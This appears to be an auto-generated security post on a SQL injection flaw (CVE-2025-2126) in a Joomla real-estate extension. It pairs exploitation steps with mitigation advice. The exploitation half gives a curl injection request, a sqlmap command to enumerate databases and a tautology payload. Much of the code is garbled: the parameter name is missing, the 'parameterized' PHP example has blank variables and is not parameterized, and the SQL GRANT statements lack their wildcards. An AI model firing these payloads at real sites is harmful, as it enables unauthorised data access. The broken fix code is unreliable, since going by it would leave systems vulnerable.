What Undercode Say:
Exploitation:
1. Exploit Code Example:
curl "http://target.com/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?=' OR 1=1 --"
This payload exploits the SQL Injection vulnerability by injecting a malicious query.
2. Automated Exploitation:
Use tools like SQLmap to automate the exploitation process:
sqlmap -u "http://target.com/extensions/realestate/index.php/properties/list/list-with-sidebar/realties?=test" --dbs
3. Manual Testing:
Test for vulnerability by injecting payloads like:
' OR '1'='1
Protection:
1. Input Sanitization:
Ensure all user inputs are sanitized and parameterized queries are used:
$ = $db->quote($_GET[bash]); $query = "SELECT FROM properties WHERE = $";
2. Web Application Firewall (WAF):
Deploy a WAF to filter out malicious SQL queries:
Example WAF rule for ModSecurity SecRule ARGS: "@detectSQLi" "id:1001,deny,status:403"
3. Patch Management:
Regularly update Joomla and its extensions to the latest versions.
4. Database Permissions:
Restrict database user permissions to minimize damage:
REVOKE ALL PRIVILEGES ON database. FROM 'user'@'localhost'; GRANT SELECT ON database. TO 'user'@'localhost';
5. Log Monitoring:
Monitor logs for suspicious activity:
tail -f /var/log/apache2/access.log | grep "extensions/realestate"
6. Disclosure Handling:
Report vulnerabilities to vendors and follow responsible disclosure practices.
7. Community Resources:
Stay updated with Joomla security advisories and community forums for patches and workarounds.
By following these steps, you can mitigate the risks associated with CVE-2025-2126 and protect your systems from SQL Injection attacks.
